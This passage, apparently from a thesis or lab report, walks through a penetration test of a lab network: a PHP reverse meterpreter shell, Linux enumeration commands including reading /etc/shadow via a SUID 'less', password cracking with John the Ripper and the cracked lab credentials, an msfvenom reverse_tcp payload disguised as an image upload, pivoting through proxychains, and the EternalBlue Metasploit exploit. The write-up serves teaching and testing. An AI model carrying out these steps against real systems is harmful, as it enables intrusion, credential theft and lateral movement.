configured the Metasploit handler with the same payload configuration which is 

uploaded to the web server 
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Figure 4.121: Creating a handler with Metasploit 

4. In order to create the reverse meterpreter session to the target machine we had to 

run the backdoor on the target machine. For this reason,we visited the url 

192.168.1.11/pdf (which is the directory that uploaded files are stored on the web 

server) and we selected the payload (shell.php) which have php format and can be 

executed on the web server. 

 
Figure 4.122: The content of pdf directory 

The result of the executing the payload file is to obtain a meterpreter session on the target 

machine. 
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Figure 4.123: A meterpreter session was opened 

From the meterpreter session we can used the shell by executing the following command: 

• shell 

• python -c ‘import pty; pty.spawn(“/bin/bash”)’ 

 
Figure 4.124: Opening a shell 

Via inspection, we noted that the user of the session that we obtained is the www-data who 

is low privilege access user on the web server and is used only to browse the web pages. Users 

with low privileged rights have limited access to the server and its functions. For this reason, 

the next phase that performed by penetration testers is to try to gain access on the server 

with user with high privileged rights.  

4.2.5 Phase F: Post-Exploitation 

4.2.5.1 Privilege Escalation  

Our first task on the privilege escalations was to gather additional information about the 

system including users, permissions, installed applications, how software is configured and 

other things about the system which helped us in our quest for root. In order to obtained this 

information, we executed the below commands on the session that we have with the target 

machine: 
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Table 4.16: Post-exploitation commands 
Name (command) Description Result 

Hostname 
(hostname) 

A host name command 
is used to view a 
computer’s hostname 
and domain name 
(DNS) 

 

Kernel Version 
(uname -a) 

Command to view the 
kernel version  

 

IP address 
(ifconfig) 

ifconfig  command is 
used to configure, or 
view the configuration 
of, a network interface. 

 
Running Processes 
(ps auxw) 

The ps (process status) 
command is one of the 
most frequently used 
commands in Linux. 
Usually it is used to get 
the more and detailed 
information about a 
specific process or all 
processes. 

 
Network Routes 
(route -n) 

The command route -n 
was used to find if the 
compromised machine 
routed to another 
network. We can use 
this information to 
pivot to another 
network 
 

 

Current Network 
Connections  
(netstat -auntp) 

This command is used 
to identify if exist an 
established connection 
from our machine to 
another machine and 
vice versa  

Sudo Command 
(sudo -l) 

This command is used 
to identify if the current 
user execute anything 
with elevated privileges 

 

https://www.computerhope.com/jargon/c/configur.htm
https://www.computerhope.com/jargon/n/network.htm
https://www.computerhope.com/jargon/i/interfac.htm
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SUID Binaries 
*(find / -perm -
4000 -type f 
2>/dev/null) 

We used find* 
command to search for 
all SUID executable files 
on a Linux System 

 
Service Accounts 
(cat /etc/passwd) 

We used the cat 
command to display the 
content of file 
/etc/passwd. The 
/etc/passwd file is a 
text-based database of 
information about users 
that may log into the 
system or other 
operating system user 
identities that own 
running processes  

Software that 
installed 
(dpkg -l) 

This command is used 
to display the installed 
software packages on 
the system  

 

 
Display shadow file 
(cat /etc/shadow) 

This command is used 
to display the 
/etc/shadow file. The 
/etc/shadow file stores 
actual password in 
encrypted format and 
other passwords 
related information 
such as user name, last 
password change date, 
password expiration 
values, etc., It's a text 
file and readable only 
by the root user. 

The www-data user have no access rights to read 
this file. 
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An important information that we obtained from the above commands  for  the user privilege 

escalation is the SUID binaries.Executable files with the “setuid” or SUID attribute 

assigned,when executed,are run as the owner of the file regardless of the current user's 

privileges. More specifically, in our case we identified that the current user have the SUID 

attribute on the command "less". The command "less" on the linux operating systems is used 

to  display the contents of a file or a command output. This misconfiguration we used in order 

to display the content of shadow file(password file that stored in encrypted format). 

 
Figure 4.125: Displaying content of shadow file 

Then we copied the contents of passwd and shadow files and saved them on files in our local 

machine as shown on the following print screens: 

 
Figure 4.126: Saving the shadow content on file locally 

File on the local 
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Figure 4.127: Saving the passwd content on file locally 

As we had the passwd and shadow files we used the John the Ripper tool in order to crack the 

passwords of target machine. Firstly, we used the unshadow command that combine the data 

of /etc/passwd and /etc/shadow to create one file with username and password details  

 
Figure 4.128:Merging the shadow and passwd files 

 
Figure 4.129:Displaying the merged file 

The final file that created from the unshadow command was used in the John tool in order to 

crack the passwords. 

 
Figure 4.130: Cracking the passwords on the webserver 

From the above results of the John the Ripper tool that display on the above printscreen we 

found out the following accounts with passwords: 

✓ Username: ubuntu   -> Password: p@ssword123 

✓ Username: root -> Password: rootp@ss 
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✓ Username: mlyons -> Password: password  

As we cracked the passwords for three user accounts from the John the Ripper tool, we 

validate that the passwords are correct as we logged in with the above credentials. 

 
Figure 4.131:Loggin as ubuntu user 

 
Figure 4.132:Loggin as mlyons user 

 
Figure 4.133: Loggin as root user 

Finally, as we had access to a root account on the server, we were able to establish a 

meterpreter session on the server with high privileged rights. More specifically, we executed 

the following steps in order to obtained a meterpreter session with high privilege rights: 

1. We created a backdoor for the web server with the msfvenom tool. 

 
Figure 4.134: Creating a new payload with msfvenom tool 

Table 4.17: Explanation of the command parameters 
Command detailed Information  

Payload (-p) We used the custom payload python/meterpreter/reverse_tcp in 
order to create a meterpreter session with the target machine. We 
used the python payload as we already known that the target machine 
has python installed and we can execute python files 

LHOST This is the IP address of the local machine (Tester machine) where we 
need to get session after payload execution. In our case the IP is the 
192.168.1.21 

LPORT This is the port on LHOST that attacker wants the target machine to 
connect to. In our case the LPORT is the 443 

-f raw This option is used to define the output format of payload 

2. We uploaded the python on the web server through the web page newcar.php and 

more specifically as an image of a new car. 
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Figure 4.135: Uploading the new payload 

3. We changed the permissions, owner and group of the file that we uploaded in order 

to be able to execute the file. 

 
Figure 4.136: Logged in as root 

4. We started another handler with Metasploit application in order to receive the 

connection from the new python backdoor that was created. 

 
Figure 4.137: Creating a new handler on Metasploit 

5. We executed the second backdoor from the meterpreter that we obtained 

previously. We executed the second backdoor with the user root in order to 

obtained a meterpreter session with high privilege rights. 

 
Figure 4.138: Finding the new payload on the web server 
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Figure 4.139: Obtaining a new session 

Therefore, we have gained full access to the web server as we obtained a meterpreter session 

with root user (high privileged rights). 

4.2.5.2 Pillaging   

As we have gained full access to the web server, we want to learn more information about 

the compromised server and the whole network. This achieved with the sub-step which 

named pillaging. 

Pillaging is the sub step in which we have access on sensitive data and intellectual property of 

the target organization. More specifically this step encompasses getting local information 

such as files, enumerating credentials, accounts and more but also network information such 

as internal network blocks in use, domains, intranet servers, share hard drives etc. All this 

information can be collected by executing commands but there are some scripts that collect 

all this information automatically. The two main scripts that we can use against Windows 

machines are: 

• Scraper: harvests system info including network shares, registry hives and password 

hashes 

• Winenum: which is the most famous script that retrieves all kinds of information 

about the system including environment variables, network interface, user 

accounts etc. 

In our case as we have a Linux machine, we used another script which named LinEnum script. 

This script is also used to extract useful information which are used to find potential ways for 

privilege escalation.In order to execute the LinEnum script we performed the following steps: 

• We uploaded the LinEnum.sh script with the same way as we uploaded our 

backdoors. 

• We changed the permissions of LinEnum.sh in order to be able for execution. Then 

we executed the script. 

 

Figure 4.140: Changing permissions on LinEnum file 
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We analyzed the results of the script and we identified an interesting that was lately used by 

a user which is named mount_windows.sh. After a small research on the web server we found 

that the file was located in the folder /home/mlyons and has the below content: 

 
Figure 4.141: Finding an interesting file on home directory 

4.2.5.3 Mapping the internal Network  

From the above result we conclude that this file is used by the user mlyons in order to 

communicate with a new machine with IP 192.168.1.23 which was not detected during the 

phase B. For this reason, we scanning again the network through the Metasploit and 

meterpreter session and we found that another host existed on the network that is accessible 

only from the web server.  

 
Figure 4.142: Scanning the network through Metasploit session 

Since the new host with IP 192.168.1.23 is accessible only from the web server (192.168.1.11) 

that we already have a meterpreter session we used it as pivot in order to testing the new 

host  

 
Figure 4.143: Pivoting network graph 

We created a route a routing rule via the current meterpreter session: 

 
Figure 4.144: Creating a route through meterpreter session 

Then, we scanned the new host to locate its open ports. The scanning of new host was 

performed through the auxiliary mode of Metasploit application and more specifically with 

the auxiliary/scanner/portscan/tcp module as showed on the following printscreen: 
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Figure 4.145: Port scanning with Metasploit tool 

As displayed on the above screenshot we found out that the new host have the ports 

80,135,139,443,445 and 554 open. Because the module of Metasploit that we used is not as 

fast as the nmap for scanning a host. For this reason, we configured the Metasploit in order 

to be able to forwarded our activity from our machine on the target machine via socks4 

proxy.In order to achieved this we used the module auxiliary/server/socks_proxy of 

Metasploit and we configured it as following: 

 
Figure 4.146: Creating proxy server 

After that we were able to execute all the applications/tools that have pre-installed in our 

machine such as the nmap tool. 

4.2.5.4 Information Gathering & Footprinting and Scanning on the new host 

As we have found a new host, we started performing a new penetration testing against the 

new host in order to gain access to this machine. Initially, we started scanning the new host 

for open ports with Nmap tool: 

 
Figure 4.147: Port scanning on the new machine with Nmap 
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Figure 4.148: Result of the Nmap command 

As shown above we used the proxychains in order to pass our request through the proxy 

server that we created on the Metasploit and pass them through the pivot (web server).From 

the results of Nmap tool we found that the new machine has the following open ports in which 

the following services are running : 

Table 4.18: Open ports for the new host on the network 
PORT Service 

80/tcp http 

135/tcp msrpc 

139/tcp netbios-ssn 

443/tcp https 

445/tcp microsoft-ds 

554/tcp rtsp 

2869/tcp icslap 

10243/tcp unknown 

49152/tcp unknown 

49153/tcp unknown 

49154/tcp unknown 

49161/tcp unknown 

4.2.5.5 Vulnerability Assessment 

After identifying the open doors of new host, we tried to examine the new host in order to 

find out if any known vulnerabilities are existed and can be used in order to compromised the 

new host. The already known Nessus tool (Vulnerability Assessment) is not functional when a 

pivot exists. For this reason, we scanned the new host for known vulnerabilities with the Nmap 

tool and more specific with Nmap scripting engine (NSE) which is one of Nmap’s most 

powerful and flexible features. We ran the Nmap command: 

proxychains nmap -sT -sC -p80,135,139,443,445,554,2869,10243,49152,49153,49154,49161 

192.168.1.23 –script vuln 
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Figure 4.149: Vulnerability scanning through Nmap script (1) 

 
Figure 4.150: Vulnerability scanning through Nmap scriptm(2) 

From the above Nmap’s results, it seems our target machine is vulnerable on the known 

vulnerability ms17-010.The vulnerability ms17-010 which named EternalBlue characterized as 

critical. EternalBlue is an exploit that allows cyber threat actors to remotely execute arbitrary 

code and gain access to a network by sending specially crafted packets. It exploits a software 

vulnerability in Microsoft’s Windows operating systems (OS) Server Message Block (SMB) 

version 1 (SMBv1) protocol, a network file sharing protocol that allows access to files on a 

remote server. This exploit potentially allows cyber threat actors to compromise the entire 

network and all devices connected to it. Due to EternalBlue’s ability to compromise networks, 

if one device is infected by malware via EternalBlue, every device connected to the network 

is at risk. 

We used the Metasploit application because include an pre-installed exploit for this particular 

vulnerability. The exploit that we used on the Metasploit application is the 

exploit/windows/smb/ms17_010_eternalblue 

 
Figure 4.151: Searching for the ms17_010 vulnerability on Metasploit 

Then we configure this exploitation as defined in the below printscreen: 



124 
 

 
Figure 4.152: Configuraring the Metasploit module 

Finally, with this pre-installed Metasploit exploit we achieved to gain a meterpreter session 

on the host with high privilege rights. 

 
Figure 4.153: Executing the ms17_010 eternablue exploit  
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